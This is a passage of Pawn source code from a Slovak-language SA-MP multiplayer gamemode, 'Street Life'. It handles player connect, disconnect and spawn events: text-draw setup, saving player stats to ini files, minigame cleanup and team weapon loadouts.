        Player[playerid][Predator]=0;
        Player[playerid][IsTDsHideForPlayer]=false;
        Player[playerid][Respect]=1;
        Player[playerid][Speed]=0;
        Player[playerid][FightingStyle]=FIGHT_STYLE_NORMAL;
        Player[playerid][IsPlayerJailed]=false;
        Player[playerid][MissionID]=9999;
        Player[playerid][MissionInfo]=9999;
        Player[playerid][Premie]=0;
        Player[playerid][Jointy]=0;
        Player[playerid][SpecSpawn]=false;
        Player[playerid][ToMuteTime]=0;
        Player[playerid][SpawnMoney]=0;
        
        ResetPlayerACMoney(playerid);
        
        UsePlayerStoppingAnimation[playerid]=false;
        
        IsPlayerUsingLoopingAnimation[playerid] = 0;
        PlayerAnimLibsPreloaded[playerid] = 0;

        VIP_Block[playerid][vf]=0;
        VIP_Block[playerid][vhp]=0;
        VIP_Block[playerid][vvr]=0;
        VIP_Block[playerid][vcar]=0;
        VIP_Block[playerid][vammo]=0;
        VIP_Block[playerid][vsawn]=0;

        Locator[playerid][State]=false;
        Locator[playerid][pX]=0.000000;
        Locator[playerid][pY]=0.000000;
        Locator[playerid][pZ]=50.000000;

        Player[playerid][DriftState]=false;

        Mobil[playerid][PlayingRingtone]=false;

        GivePlayerWeapon(playerid, 0, 1);

        Server[Connects]++;
        SetPlayerColor(playerid, COLOR_WHITE_UNVISIBLE);

        dini_IntSet("SL/Server/Info.cfg","Connects",Server[Connects]);

        SetPlayerMapIcon(playerid,19,1359.905,-1854.288,13.570,32,0,MAPICON_LOCAL);
        SetPlayerMapIcon(playerid,21,1247.9,-1560,13.5,32,0,MAPICON_LOCAL);

        new con_p_msg[128];
        if(dini_Exists(way)) format(con_p_msg,128,"**  Hráč %s (%d) sa pripojil na server !",Name,playerid);
        else format(con_p_msg,128,"**  Hráč %s (%d) sa pripojil na server ! (Nováčik)",Name,playerid);
        SendClientMessageToAll(COLOR_GRAY,con_p_msg);

        SendClientMessage(playerid,COLOR_GREEN_DARK,"Vítaj na serveri Los Nahodos s modom Street Life. Pre nápovedu použi /help, /tutorial alebo sa spytaj admina.");
        SendClientMessage(playerid,COLOR_GOLD,"[ *Tip* ] Kup si VIP a získaj na serveri mnoho výhod. Info o VIP: /vinfo");

        if(dini_Int(way,"VIP") > 0) SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Tento účet je zaregistrovány v VIP Systému, použi /vlogin pre prihlásenie !");

        //+++++++++ TextDraws ++++++++++++++

        PRespectTD_Line[playerid] = TextDrawCreate(502.000000, 302.000000, " "); //X: 502-620
        TextDrawBackgroundColor(PRespectTD_Line[playerid], 255);
        TextDrawFont(PRespectTD_Line[playerid], 2);
        TextDrawLetterSize(PRespectTD_Line[playerid], 0.500000, 1.100000);
        TextDrawColor(PRespectTD_Line[playerid], -1);
        TextDrawSetOutline(PRespectTD_Line[playerid], 0);
        TextDrawSetProportional(PRespectTD_Line[playerid], 1);
        TextDrawSetShadow(PRespectTD_Line[playerid], 0);
        TextDrawUseBox(PRespectTD_Line[playerid], 1);
        TextDrawBoxColor(PRespectTD_Line[playerid], 1157580031);
        TextDrawTextSize(PRespectTD_Line[playerid], 498.000000, -5.000000);
        
        PSkillTD_Line[playerid] = TextDrawCreate(502.000000, 322.000000, " "); //X: 502-620
        TextDrawBackgroundColor(PSkillTD_Line[playerid], 255);
        TextDrawFont(PSkillTD_Line[playerid], 2);
        TextDrawLetterSize(PSkillTD_Line[playerid], 0.500000, 1.100000);
        TextDrawColor(PSkillTD_Line[playerid], -1);
        TextDrawSetOutline(PSkillTD_Line[playerid], 0);
        TextDrawSetProportional(PSkillTD_Line[playerid], 1);
        TextDrawSetShadow(PSkillTD_Line[playerid], 0);
        TextDrawUseBox(PSkillTD_Line[playerid], 1);
        TextDrawBoxColor(PSkillTD_Line[playerid], 1157580031);
        TextDrawTextSize(PSkillTD_Line[playerid], 498.000000, -5.000000);

        PrisonTD[playerid] = TextDrawCreate(536,436,"TIME: 0 sec.");
        TextDrawLetterSize(PrisonTD[playerid],0.399999,0.899999);
        TextDrawAlignment(PrisonTD[playerid],0);
        TextDrawBackgroundColor(PrisonTD[playerid],0x000000ff);
        TextDrawFont(PrisonTD[playerid],1);
        TextDrawUseBox(PrisonTD[playerid],1);
        TextDrawBoxColor(PrisonTD[playerid],0x00000066);
        TextDrawTextSize(PrisonTD[playerid],636.000000,446.000000);
        TextDrawSetOutline(PrisonTD[playerid],0);
        TextDrawSetProportional(PrisonTD[playerid],1);
        TextDrawSetShadow(PrisonTD[playerid],1);

        InfoBoxText[playerid] = TextDrawCreate(20,169," ");
        TextDrawLetterSize(InfoBoxText[playerid],0.349999,1.000000);
        TextDrawAlignment(InfoBoxText[playerid],0);
        TextDrawBackgroundColor(InfoBoxText[playerid],0x00000099);
        TextDrawFont(InfoBoxText[playerid],1);
        TextDrawUseBox(InfoBoxText[playerid],1);
        TextDrawBoxColor(InfoBoxText[playerid],0x00000066);
        TextDrawTextSize(InfoBoxText[playerid],120.000000,179.000000);
        TextDrawSetOutline(InfoBoxText[playerid],1);
        TextDrawSetProportional(InfoBoxText[playerid],1);
        TextDrawSetShadow(InfoBoxText[playerid],0);

        InfoBoxNadpis[playerid] = TextDrawCreate(20,154,"~r~Los Nahodos");
        TextDrawLetterSize(InfoBoxNadpis[playerid],0.449999,1.100000);
        TextDrawAlignment(InfoBoxNadpis[playerid],0);
        TextDrawBackgroundColor(InfoBoxNadpis[playerid],0x000000ff);
        TextDrawFont(InfoBoxNadpis[playerid],1);
        TextDrawUseBox(InfoBoxNadpis[playerid],1);
        TextDrawBoxColor(InfoBoxNadpis[playerid],0x00000099);
        TextDrawTextSize(InfoBoxNadpis[playerid],120.000000,164.000000);
        TextDrawSetOutline(InfoBoxNadpis[playerid],1);
        TextDrawSetProportional(InfoBoxNadpis[playerid],1);
        TextDrawSetShadow(InfoBoxNadpis[playerid],0);

        SpeedMeter_Functions[playerid] = TextDrawCreate(487.000000, 375.000000, "~r~Nazov: ~w~xxx~n~~r~Rychlost: ~w~xxx ~r~KMH~n~~r~Palivo:");
        TextDrawBackgroundColor(SpeedMeter_Functions[playerid], 255);
        TextDrawFont(SpeedMeter_Functions[playerid], 1);
        TextDrawLetterSize(SpeedMeter_Functions[playerid], 0.310000, 1.500000);
        TextDrawColor(SpeedMeter_Functions[playerid], 255);
        TextDrawSetOutline(SpeedMeter_Functions[playerid], 1);
        TextDrawSetProportional(SpeedMeter_Functions[playerid], 1);

        SpeedMeter_Fuel[playerid] = TextDrawCreate(617.000000, 409.000000, "  ");
        TextDrawBackgroundColor(SpeedMeter_Fuel[playerid], 255);
        TextDrawFont(SpeedMeter_Fuel[playerid], 1);
        TextDrawLetterSize(SpeedMeter_Fuel[playerid], 0.539999, 0.199999);
        TextDrawColor(SpeedMeter_Fuel[playerid], -1);
        TextDrawSetOutline(SpeedMeter_Fuel[playerid], 0);
        TextDrawSetProportional(SpeedMeter_Fuel[playerid], 1);
        TextDrawSetShadow(SpeedMeter_Fuel[playerid], 1);
        TextDrawUseBox(SpeedMeter_Fuel[playerid], 1);
        TextDrawBoxColor(SpeedMeter_Fuel[playerid], 255);
        TextDrawTextSize(SpeedMeter_Fuel[playerid], 514.000000, 0.000000);

        GPSLocation[playerid] = TextDrawCreate(85,416,"~r~   ");
        TextDrawLetterSize(GPSLocation[playerid],0.249999,1.100000);
        TextDrawAlignment(GPSLocation[playerid],2);
        TextDrawBackgroundColor(GPSLocation[playerid],0x000000ff);
        TextDrawFont(GPSLocation[playerid],1);
        TextDrawUseBox(GPSLocation[playerid],0);
        TextDrawSetOutline(GPSLocation[playerid],1);
        TextDrawSetProportional(GPSLocation[playerid],1);
        TextDrawSetShadow(GPSLocation[playerid],0);
        //----------
        TextDrawShowForPlayer(playerid,TDweb);
        TextDrawShowForPlayer(playerid,TDlogo);
        TextDrawHideForPlayer(playerid,PrisonTD[playerid]);
        TextDrawHideForPlayer(playerid,InfoBoxNadpis[playerid]);
        TextDrawHideForPlayer(playerid,InfoBoxText[playerid]);

        TextDrawHideForPlayer(playerid,PRespectTD_Box);
        TextDrawHideForPlayer(playerid,PRespectTD_Line[playerid]);
        TextDrawHideForPlayer(playerid,PRespectTD_Text);
        
        TextDrawHideForPlayer(playerid,PSkillTD_Box);
        TextDrawHideForPlayer(playerid,PSkillTD_Line[playerid]);
        TextDrawHideForPlayer(playerid,PSkillTD_Text);

        //+++++++++ DRIFT ++++++++++++++++++++++++++++++++++++++++++++++++++++++

        DrawDriftScore[playerid] = TextDrawCreate(311,91,"   ");
        TextDrawLetterSize(DrawDriftScore[playerid],0.850000,1.800000);
        TextDrawAlignment(DrawDriftScore[playerid],2);
        TextDrawBackgroundColor(DrawDriftScore[playerid],0xff0000ff);
        TextDrawFont(DrawDriftScore[playerid],3);
        TextDrawUseBox(DrawDriftScore[playerid],0);
        TextDrawSetOutline(DrawDriftScore[playerid],1);
        TextDrawSetProportional(DrawDriftScore[playerid],1);
        TextDrawSetShadow(DrawDriftScore[playerid],1);

        DrawTotalDriftScore[playerid] = TextDrawCreate(566,232,"~l~Total points~n~ ~n~0");
        TextDrawLetterSize(DrawTotalDriftScore[playerid],0.500000,1.300000);
        TextDrawAlignment(DrawTotalDriftScore[playerid],2);
        TextDrawBackgroundColor(DrawTotalDriftScore[playerid],0xff0000ff);
        TextDrawFont(DrawTotalDriftScore[playerid],3);
        TextDrawUseBox(DrawTotalDriftScore[playerid],0);
        TextDrawSetOutline(DrawTotalDriftScore[playerid],1);
        TextDrawSetProportional(DrawTotalDriftScore[playerid],1);
        TextDrawSetShadow(DrawTotalDriftScore[playerid],1);

        //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

        EndDriftTimerBool[playerid]=false;

        DriftScore[playerid]=0;
        TotalDriftScore[playerid]=0;

        //++++++ REGISTER AND LOGIN ++++++++++++++++++++++++++++++++++++++++++++

        if(dini_Exists(way)) ShowPlayerDialog(playerid,Dialog_Login,DIALOG_STYLE_PASSWORD,"Prihlásenie","Pred vstupom do hry sa musíš najprv prihlásiť\nZadaj svoje heslo:","Potvrdit","");
        else ShowPlayerDialog(playerid,Dialog_Register,DIALOG_STYLE_INPUT,"Registrécia","Pred vstupom do hry sa musíš zaregistrovať\nZadaj svoje nové heslo:","Potvrdit","");
    }
    return 1;
}

public OnPlayerDisconnect(playerid, reason)
{
    if(!IsPlayerNPC(playerid))
    {
        new Name[24];
        GetPlayerName(playerid,Name,24);
        new disconnect_message[128];

        switch(reason)
        {
            case 0: format(disconnect_message, 128, "**  Hráč %s (%d) opustil server ! (Pád hry)", Name, playerid);
            case 1: format(disconnect_message, 128, "**  Hráč %s (%d) opustil server !", Name, playerid);
            case 2: format(disconnect_message, 128, "**  Hráč %s (%d) opustil server ! (Kick / Ban)", Name, playerid);
        }
        
        SendClientMessageToAll(COLOR_GRAY, disconnect_message);

        TextDrawHideForPlayer(playerid,TDweb);
        TextDrawHideForPlayer(playerid,TDlogo);
        TextDrawHideForPlayer(playerid,InfoBoxNadpis[playerid]);
        TextDrawHideForPlayer(playerid,InfoBoxText[playerid]);
        TextDrawHideForPlayer(playerid,PrisonTD[playerid]);

        TextDrawHideForPlayer(playerid,PRespectTD_Box);
        TextDrawHideForPlayer(playerid,PRespectTD_Line[playerid]);
        TextDrawHideForPlayer(playerid,PRespectTD_Text);
        TextDrawDestroy(PRespectTD_Line[playerid]);

        TextDrawHideForPlayer(playerid,PSkillTD_Box);
        TextDrawHideForPlayer(playerid,PSkillTD_Line[playerid]);
        TextDrawHideForPlayer(playerid,PSkillTD_Text);
        TextDrawDestroy(PSkillTD_Line[playerid]);

        TextDrawDestroy(SpeedMeter_Functions[playerid]);
        TextDrawDestroy(SpeedMeter_Fuel[playerid]);

        CancelDrifting(playerid);
        TotalDriftScore[playerid] = 0;
        TextDrawHideForAll(DrawDriftScore[playerid]);
        TextDrawDestroy(DrawDriftScore[playerid]);
        TextDrawHideForAll(DrawTotalDriftScore[playerid]);
        TextDrawDestroy(DrawTotalDriftScore[playerid]);

        TextDrawDestroy(GPSLocation[playerid]);
        TextDrawDestroy(InfoBoxNadpis[playerid]);
        TextDrawDestroy(InfoBoxText[playerid]);
        TextDrawDestroy(PrisonTD[playerid]);

        DisablePlayerCheckpoint(playerid);
        DisablePlayerRaceCheckpoint(playerid);
        
        for(new s=0; s<5; s++)
        {
            if(PlayerVehicle_State[s][playerid] == true)
            {
                if(PlayerVehicleNeons[s][playerid] == true)
                {
                    PlayerVehicleNeons[s][playerid] = false;
                    DestroyObject(PlayerVehicleNeon1[s][playerid]);
                    DestroyObject(PlayerVehicleNeon2[s][playerid]);
                }

                PlayerVehicle_State[s][playerid]=false;
                
                DestroyVehicleEx(PlayerVehicle[s][playerid]);
            }
        }

        if(Player[playerid][RobTime] > 0) KillTimer(Player[playerid][RobTimer]);

        if(Player[playerid][HouseP] != 9999)
        {
            new v = Player[playerid][HouseP];

            new hway[32];
            format(hway,32, "SL/Server/Houses/House%d.cfg", v);

            for(new s=0; s<HouseStates[v][Vehicles]; s++)
            {
                new v_id[16];
                format(v_id,16, "V%d_id", s);

                if(dini_Int(hway, v_id) > 0)
                {
                    new v_neons[32];
                    format(v_neons,32, "V%d_neons", s);

                    if(dini_Int(hway,v_neons)!=0)
                    {
                        if(CarNeons[s][v] == true)
                        {
                            DestroyObject(CarNeon1[s][v]);
                            DestroyObject(CarNeon2[s][v]);
                            CarNeons[s][v] = false;
                        }
                    }
                }
            }
        }
        
        UsePlayerStoppingAnimation[playerid]=false;

        if(Mobil[playerid][PlayingRingtone] == true)
        {
            PlayerPlaySound(playerid, NO_SOUND, 0,0,0);
            Mobil[playerid][PlayingRingtone]=false;
            KillTimer(Mobil[playerid][RingtoneTimer]);
        }

        Server[ConP] = -1;
        for(new p=0; p<MAX_PLAYERS_EX; p++)
        {
            if(IsPlayerConnected(p))
            {
                if(p > Server[ConP]) Server[ConP] = p;
            }
        }

        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS); //takmer vsetky

        if(Player[playerid][VK_bool]==true) KillTimer(Player[playerid][VK_timer]);

        if(Player[playerid][ME2_Player]!=9999) OnPlayerExitMirrorsEdge2(playerid);

        if(Player[playerid][NFSSA_Player]!=9999) OnPlayerExitNFSSA(playerid);

        if(Player[playerid][D_Player]!=9999) OnPlayerExitDemolationDerby(playerid);

        if(Player[playerid][TA_Player]!=9999) OnPlayerExitTerroristsAssault(playerid);

        if(Player[playerid][DTC_Player]!=9999) OnPlayerExitDTC(playerid);

        if(Player[playerid][MTBR_Player]!=9999) OnPlayerExitMTBR(playerid);

        if(Player[playerid][DA_Player]!=9999)
        {
            if(Game[DA_State]==1)
            {
                new winnerid;
                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][DA_Player] != 9999)
                            {
                                if(Player[i][DA_Player] != Player[playerid][DA_Player]) winnerid = i;
                            }
                        }
                    }
                }
                OnPlayerExitDuelArena(winnerid, playerid);
            }

            else OnPlayerExitDuelArena(playerid, 500);
        }

        for(new p=0; p<MAX_PROPERTY; p++)
        {
            if(Property[p][MajitelID] == playerid)
            {
                Player[playerid][Bank] += Property[p][Price];
                Property[p][MajitelID] = 9999;
            }
        }

        if(Player[playerid][Specate]==true)
        {
            Player[playerid][Specate]=false;
            TogglePlayerSpectating(playerid,0);
            PlayerCameraBack(playerid);
            TogglePlayerControllable(playerid,1);
        }

        if(Locator[playerid][State]==true) KillTimer(UpdateExTimer[playerid]);

        if(Player[playerid][Team]==100) Player[playerid][Team]=0;

        if(Player[playerid][AFK]==true)
        {
            Delete3DTextLabel(Text_AFK[playerid]);
            Player[playerid][AFK]=false;
        }

        if(Player[playerid][DM_Player]!=9999 && DM[State]==2)
        {
            Player[playerid][DM_Player]=9999;
            DM[Players]--;

            if(DM[Players]==1)
            {
                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                           {
                            if(Player[i][DM_Player]!=9999)
                            {
                                Player[i][DM_Player]=9999;
                                new msg[128], Name2[24];
                                GetPlayerName(i,Name2,24);
                                format(msg,128,"Hrac %s (%d) vyhral Death Match a vyhral %d$ !",Name2,i,DM[Reward]);
                                SendClientMessageToAll(COLOR_GREEN,msg);
                                GameTextForAll(msg,6000,5);
                                new msgx2[128];
                                format(msgx2,128,"Vyhral si %d$ v DeathMatchi, peniaze boli automaticky uložene do banky",DM[Reward]);
                                SendClientMessage(i,COLOR_YELLOW,msgx2);
                                Player[i][Bank]+=DM[Reward];
                                DM[Reward]=0;
                                SpawnPlayer(i);
                                DM_End();
                            }
                        }
                    }
                }
            }
        }

        new way[32];
        new Float:posX, Float:posY, Float:posZ;
        GetPlayerPos(playerid,posX,posY,posZ);
        format(way,32,"SL/%s.cfg",Name);
        new Float:hp, Float:armour;
        GetPlayerHealth(playerid,hp);
        GetPlayerArmour(playerid,armour);

        if(Player[playerid][Logged]==true)
        {
            dini_IntSet(way,"AdminLevel", Player[playerid][AdminLevel]);
            dini_IntSet(way,"Bank", Player[playerid][Bank]);
            dini_IntSet(way,"WantedLevel", GetPlayerWantedLevel(playerid));
            dini_IntSet(way,"Reward", Player[playerid][Reward]);
            dini_IntSet(way,"Kills", Player[playerid][Kills]);
            dini_IntSet(way,"Deaths", Player[playerid][Deaths]);
            dini_IntSet(way,"House", Player[playerid][HouseP]);
            dini_IntSet(way,"Team", Player[playerid][Team]);
            dini_IntSet(way,"Vodicak", Player[playerid][Vodicak]);
            dini_IntSet(way,"Zbrojak", Player[playerid][Zbrojak]);
            dini_FloatSet(way,"Pos_X", posX);
            dini_FloatSet(way,"Pos_Y", posY);
            dini_FloatSet(way,"Pos_Z", posZ);
            dini_IntSet(way,"World", GetPlayerVirtualWorld(playerid));
            dini_IntSet(way,"Interior", GetPlayerInterior(playerid));
            dini_IntSet(way,"LastMoney", Player[playerid][Money]);
            dini_FloatSet(way,"LastHP", hp);
            dini_FloatSet(way,"LastArmour", armour);
            dini_IntSet(way,"LastSkin", GetPlayerSkin(playerid));
            dini_IntSet(way,"Notebook", Player[playerid][Notebook]);
            dini_IntSet(way,"GPS", Player[playerid][GPS]);
            dini_IntSet(way,"Hours", Player[playerid][Hours]);
            dini_IntSet(way,"Minutes", Player[playerid][Minutes]);
            dini_IntSet(way,"EBank", Player[playerid][InternetBank]);
            dini_FloatSet(way,"Skill", Player[playerid][Skill]);
            dini_IntSet(way,"Firm", Player[playerid][FirmP]);
            dini_IntSet(way,"Clan", Player[playerid][ClanP]);
            dini_IntSet(way,"ClanRank", Player[playerid][ClanRank]);
            dini_IntSet(way,"Bagety", Player[playerid][Bagety]);
            dini_IntSet(way,"Sprunk", Player[playerid][Sprunk]);
            dini_IntSet(way,"Pivo", Player[playerid][Pivo]);
            dini_IntSet(way,"Vino", Player[playerid][Vino]);
            dini_IntSet(way,"Whisky", Player[playerid][Whisky]);
            dini_IntSet(way,"Marihuana", Player[playerid][Marihuana]);
            dini_IntSet(way,"Jointy", Player[playerid][Jointy]);
            dini_IntSet(way,"Cigarety", Player[playerid][Cigarety]);
            dini_IntSet(way,"Svetlica", Player[playerid][Svetlica]);
            dini_IntSet(way,"Dynamit", Player[playerid][Dynamit]);
            dini_IntSet(way,"Mina", Player[playerid][Mina]);
            dini_IntSet(way,"Raptor", Player[playerid][Raptor]);
            dini_IntSet(way,"Predator", Player[playerid][Predator]);
            dini_FloatSet(way,"Respect", Player[playerid][Respect]);
            dini_IntSet(way,"FightingS", Player[playerid][FightingStyle]);

            if(Player[playerid][VIP_Logged] == true) dini_IntSet(way,"VIP", Player[playerid][VIP]);

            //------------------------------------

            if(Player[playerid][ME2_Player] != 9999 || Player[playerid][NFSSA_Player] != 9999 || Player[playerid][D_Player] != 9999 || Player[playerid][TA_Player] != 9999 || Player[playerid][SP_Player] != 9999 || Player[playerid][DA_Player] != 9999 || Player[playerid][DTC_Player] != 9999 || Player[playerid][MTBR_Player] != 9999)
            {
                dini_FloatSet(way,"Pos_X", Player[playerid][SavePosX]);
                dini_FloatSet(way,"Pos_Y", Player[playerid][SavePosY]);
                dini_FloatSet(way,"Pos_Z", Player[playerid][SavePosZ]);
                dini_FloatSet(way,"LastHP", Player[playerid][SaveHP]);
                dini_FloatSet(way,"LastArmour", Player[playerid][SaveArmour]);
                dini_IntSet(way,"World", Player[playerid][SaveVirtualWorld]);
                dini_IntSet(way,"Interior", Player[playerid][SaveInterior]);
                dini_IntSet(way,"LastMoney", Player[playerid][SaveMoney]);
                dini_IntSet(way,"LastSkin", Player[playerid][SaveSkin]);
            }
        }

        for(new c=0; c<100; c++)
        {
            RemovePlayerMapIcon(playerid,c);
        }
    }
    return 1;
}

public OnPlayerSpawn(playerid)
{
    AntiDeAMX();

    if(!IsPlayerNPC(playerid))
    {
        if(IsPlayerConnected(playerid))
        {
            if(Player[playerid][SpecSpawn] == true)
            {
                Player[playerid][SpecSpawn] = false;
                LoadPlayerLastStats(playerid);
            }
            else
            {
                TextDrawShowForPlayer(playerid, PSkillTD_Box);
                TextDrawShowForPlayer(playerid, PSkillTD_Text);
                TextDrawShowForPlayer(playerid, PRespectTD_Box);
                TextDrawShowForPlayer(playerid, PRespectTD_Text);
                SetPlayerSkill(playerid, Player[playerid][Skill]);
                SetPlayerRespect(playerid, Player[playerid][Respect]);

                TextDrawHideForPlayer(playerid, PrisonTD[playerid]);

                ResetPlayerWeapons(playerid);
                SetPlayerVirtualWorld(playerid, 0);
                SetPlayerInterior(playerid, 0);
                PlayerCameraBack(playerid);
                SetPlayerDrunkLevel(playerid, 0);
                SetPlayerHealth(playerid, 100.000);
                SetPlayerArmour(playerid, 0.000);
                Player[playerid][FNC_01]=0;

                Player[playerid][IPIP]=true;
                SetTimerEx("IsPlayerInPickupFalse",1500,0,"i",playerid);
                        
                SetPlayerSkin(playerid, Player[playerid][Skin]);
                
                UsePlayerStoppingAnimation[playerid]=false;

                new way[32], Name[24];
                GetPlayerName(playerid,Name,24);
                format(way,32,"SL/%s.cfg",Name);

                if(Player[playerid][ClanP] != 9999) Player[playerid][Team] = 99;

                if(Player[playerid][RegSpawn]==true)
                {
                    SetPlayerACMoney(playerid,60000);
                    SetPlayerSkin(playerid, 293);
                    Player[playerid][Skin] = 293;
                    Player[playerid][Team] = 0;
                    Player[playerid][FirstSpawn] = false;
                    Player[playerid][RegSpawn] = false;
                    GivePlayerWeapon(playerid,5,1);
                    GivePlayerWeapon(playerid,22,50);
                    SetPlayerPos(playerid,1247.9,-1560,13.5);

                    StartTutorial(playerid);

                    FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Mas ~y~1~w~ novu zpravu !~n~Pouzi ~y~/mobil", 5000);

                    new m9x_way[64];
                    format(m9x_way,64,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    dini_Set   (m9x_way, "MSG0_text", "Vitame ta na serveri, toto je len testovacia sms, prosim, neodpovedaj na tuto sms. Admin team.");
                    dini_IntSet(m9x_way, "MSG0_from", 999999);
                    dini_IntSet(m9x_way, "MSG0_read", 1);

                    dini_IntSet(m9x_way, "Messages", 1);
                }
                else
                {
                    if(!PlayerAnimLibsPreloaded[playerid])
                    {
                           ApplyAnimation(playerid,"BOMBER","null",0.0,0,0,0,0,0);
                           ApplyAnimation(playerid,"RAPPING","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"SHOP","null",0.0,0,0,0,0,0);
                           ApplyAnimation(playerid,"BEACH","null",0.0,0,0,0,0,0);
                           ApplyAnimation(playerid,"SMOKING","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"FOOD","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"ON_LOOKERS","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"DEALER","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"CRACK","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"CARRY","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"COP_AMBIENT","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"PARK","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"INT_HOUSE","null",0.0,0,0,0,0,0);
                        ApplyAnimation(playerid,"FOOD","null",0.0,0,0,0,0,0);

                        PlayerAnimLibsPreloaded[playerid] = 1;
                    }
                    
                    ///////////////////////////////////////////
                
                    if(Player[playerid][Team]==0)
                    {
                           GivePlayerWeapon(playerid,5,1);
                        GivePlayerWeapon(playerid,22,30);
                     }
                    else if(Player[playerid][Team]==1)
                    {
                           GivePlayerWeapon(playerid,22,85);
                        GivePlayerWeapon(playerid,32,220);
                        GivePlayerWeapon(playerid,4,1);
                        GivePlayerWeapon(playerid,30,120);
                    }
                    else if(Player[playerid][Team]==2)
                    {
                          GivePlayerWeapon(playerid,22,55);
                        GivePlayerWeapon(playerid,28,185);
                        GivePlayerWeapon(playerid,5,1);
                        GivePlayerWeapon(playerid,30,105);
                        GivePlayerWeapon(playerid,27,55);
                    }
                    else if(Player[playerid][Team]==3)
                    {
                        GivePlayerWeapon(playerid,24,40);
                        GivePlayerWeapon(playerid,28,75);
                        GivePlayerWeapon(playerid,5,1);
                        GivePlayerWeapon(playerid,35,1);
                        GivePlayerWeapon(playerid,30,185);
                        GivePlayerWeapon(playerid,25,50);
                    }
                    else if(Player[playerid][Team]==4)
                    {
                        GivePlayerWeapon(playerid,22,70);
                        GivePlayerWeapon(playerid,32,115);
                        GivePlayerWeapon(playerid,4,1);
                        GivePlayerWeapon(playerid,26,125);
                        GivePlayerWeapon(playerid,30,100);
                    }
                    else if(Player[playerid][Team]==5)
                    {
                        GivePlayerWeapon(playerid,29,90);
                        GivePlayerWeapon(playerid,31,175);
                        GivePlayerWeapon(playerid,3,1);
                        GivePlayerWeapon(playerid,34,5);
                        SetPlayerArmour(playerid, 100.0);
                    }
                    else if(Player[playerid][Team]==6)
                    {
                        GivePlayerWeapon(playerid,30,350);
                        GivePlayerWeapon(playerid,27,28);
                        GivePlayerWeapon(playerid,8,1);
                    }
                    else if(Player[playerid][Team]==7)
                    {
                        GivePlayerWeapon(playerid,28,180);
                        GivePlayerWeapon(playerid,18,5);
                        GivePlayerWeapon(playerid,24,45);
                        GivePlayerWeapon(playerid,22,80);
                    }
                    else if(Player[playerid][Team]==8)
                    {
                        GivePlayerWeapon(playerid,30,240);
                        GivePlayerWeapon(playerid,4,1);
                        GivePlayerWeapon(playerid,23,100);
                        GivePlayerWeapon(playerid,27,45);
                     }
                    else if(Player[playerid][Team]==9)
                    {
                        GivePlayerWeapon(playerid,28,200);
                        GivePlayerWeapon(playerid,23,45);
                        GivePlayerWeapon(playerid,27,35);
                     }
                     else if(Player[playerid][Team]==10)
                    {
                        GivePlayerWeapon(playerid,25,100);
                        GivePlayerWeapon(playerid,22,50);
                        GivePlayerWeapon(playerid,5,1);
                        SetPlayerArmour(playerid, 100.0);
                     }
                    else if(Player[playerid][Team]==11)
                    {
                        GivePlayerWeapon(playerid,25,75);
                        GivePlayerWeapon(playerid,29,120);
                        GivePlayerWeapon(playerid,3,1);
                        GivePlayerWeapon(playerid,22,60);
                     }
                    else if(Player[playerid][Team]==12)
                    {
                        GivePlayerWeapon(playerid,5,1);
                        GivePlayerWeapon(playerid,33,100);
                     }
                    else if(Player[playerid][Team]==13)
                    {
                        GivePlayerWeapon(playerid,5,1);
                        GivePlayerWeapon(playerid,33,100);
                     }
                    else if(Player[playerid][Team]==14)
                    {
                        GivePlayerWeapon(playerid,4,1);
                        GivePlayerWeapon(playerid,22,100);
                        GivePlayerWeapon(playerid,25,50);
                     }
                    else if(Player[playerid][Team]==15)
                    {
                        GivePlayerWeapon(playerid,3,1);
                        GivePlayerWeapon(playerid,24,30);
                        GivePlayerWeapon(playerid,32,120);
                        GivePlayerWeapon(playerid,16,5);
                     }
                    else if(Player[playerid][Team]==16)
                    {
                        GivePlayerWeapon(playerid,27,70);
                        GivePlayerWeapon(playerid,28,200);
                        GivePlayerWeapon(playerid,31,250);
                        GivePlayerWeapon(playerid,34,5);
                     }
                    else if(Player[playerid][Team]==17)
                    {
                        GivePlayerWeapon(playerid,42,250);
                        GivePlayerWeapon(playerid,24,200);
                     }
                    else if(Player[playerid][Team]==18)
                    {
                        GivePlayerWeapon(playerid,43,25);
                        GivePlayerWeapon(playerid,22,130);
                     }
                    else if(Player[playerid][Team]==19)
                    {
                        GivePlayerWeapon(playerid,25,80);
                        GivePlayerWeapon(playerid,33,50);
                        GivePlayerWeapon(playerid,4,1);
                    }
                    else if(Player[playerid][Team]==20)
                    {
                        GivePlayerWeapon(playerid,26,75);
                        GivePlayerWeapon(playerid,32,150);
                        GivePlayerWeapon(playerid,4,1);
                    }
                    else if(Player[playerid][Team]==21)
                    {
                        GivePlayerWeapon(playerid,33,50);
                    }
                    else if(Player[playerid][Team]==22)
                    {
                        GivePlayerWeapon(playerid,25,50);
                        GivePlayerWeapon(playerid,29,150);
                        GivePlayerWeapon(playerid,24,30);
                        GivePlayerWeapon(playerid,3,1);
                    }
                    else if(Player[playerid][Team]==23)
                    {
                        GivePlayerWeapon(playerid,33,100);
                        GivePlayerWeapon(playerid,42,250);
                    }
                    else if(Player[playerid][Team]==24)
                    {
                        GivePlayerWeapon(playerid,31,200);
                        GivePlayerWeapon(playerid,27,75);
                        GivePlayerWeapon(playerid,29,90);
                    }
                    else if(Player[playerid][Team]==25)
                    {
                        GivePlayerWeapon(playerid,29,250);
                        GivePlayerWeapon(playerid,27,50);
                    }
                    else if(Player[playerid][Team]==26)
                    {
                        GivePlayerWeapon(playerid,30,150);
                        GivePlayerWeapon(playerid,27,50);
